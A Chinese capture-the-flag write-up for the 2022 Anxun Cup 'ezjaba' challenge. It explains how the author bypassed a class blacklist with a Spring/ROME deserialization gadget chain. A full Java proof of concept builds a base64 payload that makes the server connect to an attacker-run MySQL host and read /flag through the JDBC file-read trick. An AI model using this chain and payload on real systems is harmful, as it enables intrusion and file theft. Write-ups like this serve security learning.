2022安洵杯ezjaba 从寻找反序列化链到成功JDBC attack拿到first blood
RoboTerh 发表于 四川 CTF 5027浏览 · 2022-11-28 03:04

前言

PS.有战队缺web手可以联系我一起打比赛

系统的学习Java安全也有了2、3个月了,这次忙中偷闲,在打安洵杯的时候有个和ROME链有关的ezjaba

好巧不巧,拿了一个first blood, 写个解题思路存个档

解题

首先将附件下载下来

附件

首先看看项目依赖

一个ROME,两个JDBC驱动

之后看看项目结构

分析一下IndexController

read路由中,可以接收data传参,在进行了Base64解码之后将输入流传入了SecurityObjectInpitStream类中

来看看这个类

在其构造方法中添加了一个关键类名的黑名单,之后在resolveClass方法中的逻辑就是,在反序列化过程中,如果存在黑名单中的类,就直接会抛出异常!

回到IndexController类中,分别readUTF / readInt来获取对应的数据进行判断,之后只有通过if语句才能够进行反序列化调用

但是我们可以知道在黑名单中,将ROME链需要的几乎所有的类都给ban了,直接用ROME链打应该是行不通的

又转而看看Connection包下的Database

这个类是实现了Serializable接口的,能够进行序列化

在其getConnection方法中的逻辑就是通过拼接生成了一个JDBC连接串,之后将这个url传入了JdbcUtils.filterJdbcUrl方法中,进行处理

这里就是对JDBC连接串进行了一些限制,限制了在Mysql数据库的JDBC attack过程中是不能开启autoDeserialize这个属性,也就不能进行JDBC attack的反序列化利用

在经过这个方法的过滤之后调用DriverManager.getConnection方法进行了JDBC连接

分析

在理解了题目的大概逻辑之后

我们的目标就是找到一个反序列化的链子,这个链子中是不能够使用其在黑名单中存在的类

之后能够调用类对象的任意getter方法,就能够触发JDBC连接

这里只有一个ROME依赖,在没有限制的ROME链中,关键是通过触发ToStringBean#toString方法来调用了TemplatesImpl类的任意getter方法,也就是getOutputProperties方法进行了RCE的

这里题目留了个入口,并没有ban掉这个关键类,也存在有一个Database#getConnection方法能够存在利用

所以我们现在的目标就是找到一个链子,能够调用ToStringBean#toString方法

也即是,我们需要一条调用任意类的toString方法的链子,因为这里是Spring环境,也比较容易的想到了SpringPartiallyComparableAdvisorHolder这条链子

调用栈为:

doGetSingleton:218, SimpleJndiBeanFactory (org.springframework.jndi.support)
doGetType:226, SimpleJndiBeanFactory (org.springframework.jndi.support)
getType:191, SimpleJndiBeanFactory (org.springframework.jndi.support)
getOrder:127, BeanFactoryAspectInstanceFactory (org.springframework.aop.aspectj.annotation)
getOrder:216, AbstractAspectJAdvice (org.springframework.aop.aspectj)
getOrder:80, AspectJPointcutAdvisor (org.springframework.aop.aspectj)
toString:151, AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder (org.springframework.aop.aspectj.autoproxy)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:635, HashMap (java.util)
put:612, HashMap (java.util)

这里是触发了JNDI注入进行的利用

我们只需要能够触发任意toString方法就行了,截取调用链的前面一小部分就已经能够达到目标了

也即是通过调用XString#equals方法进行触发ToStringBean#toString方法

这样,我们已经找到了反序列化的链子,之后我们需要绕过JDBC连接串的限制

他那里禁用了反序列化,这里我们直接进行Mysql任意文件的读取漏洞来获取远程主机的文件

参见我以前总结的

https://www.freebuf.com/vuls/341270.html

利用

POC:

package rome;

import com.example.ezjaba.Connection.Database;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;

import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class Test {
    public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
        try {
            Field field = clazz.getDeclaredField(fieldName);
            if ( field != null )
                field.setAccessible(true);
            else if ( clazz.getSuperclass() != null )
                field = getField(clazz.getSuperclass(), fieldName);

            return field;
        }
        catch ( NoSuchFieldException e ) {
            if ( !clazz.getSuperclass().equals(Object.class) ) {
                return getField(clazz.getSuperclass(), fieldName);
            }
            throw e;
        }
    }
    //反射设置属性值
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }
    public static void main(String[] args) {
        try {
            Database database = new Database();
            database.setDatabase("mysql");
            database.setHots("your_vps_ip");
            database.setUsername("fileread_/flag&maxAllowedPacket=655360");
            database.setPassword("root");

            ToStringBean toStringBean = new ToStringBean(Database.class, database);

            //反序列化时HotSwappableTargetSource.equals会被调用,触发Xstring.equals
            HotSwappableTargetSource v1 = new HotSwappableTargetSource(toStringBean);
            HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("xxx"));

            HashMap<Object, Object> s = new HashMap<>();
            setFieldValue(s, "size", 2);
            Class<?> nodeC;
            try {
                nodeC = Class.forName("java.util.HashMap$Node");
            }
            catch ( ClassNotFoundException e ) {
                nodeC = Class.forName("java.util.HashMap$Entry");
            }
            Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
            nodeCons.setAccessible(true);

            Object tbl = Array.newInstance(nodeC, 2);
            Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
            Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
            setFieldValue(s, "table", tbl);

            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
            objectOutputStream.writeUTF("axb");
            objectOutputStream.writeInt(2022);
            objectOutputStream.writeObject(s);

            byte[] bytes = byteArrayOutputStream.toByteArray();
            String s1 = Base64.getEncoder().encodeToString(bytes);
            System.out.println(s1);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

直接开启我们的恶意Mysql服务器

发送序列化数据

收到数据

总结

这道题我也是简单看了一下,个人觉得我这种方法应该是一种非预期解吧,这道题有很多种解题的方法

比如对于反序列化链的构造,不仅仅可以使用像我这里的使用XString#equals方法来触发任意toString方法,还有很多思路可以触发,可以去Hessian的链子中去找到

而对于JDBC attack也不仅仅可以使用Mysql,应该也可以通过Postgresql的JDBC连接串来进行RCE,当然都是我的猜测,感觉是可行的,还没尝试过(这该死的期末考试)

1 条评论
某人
表情
可输入 255
目录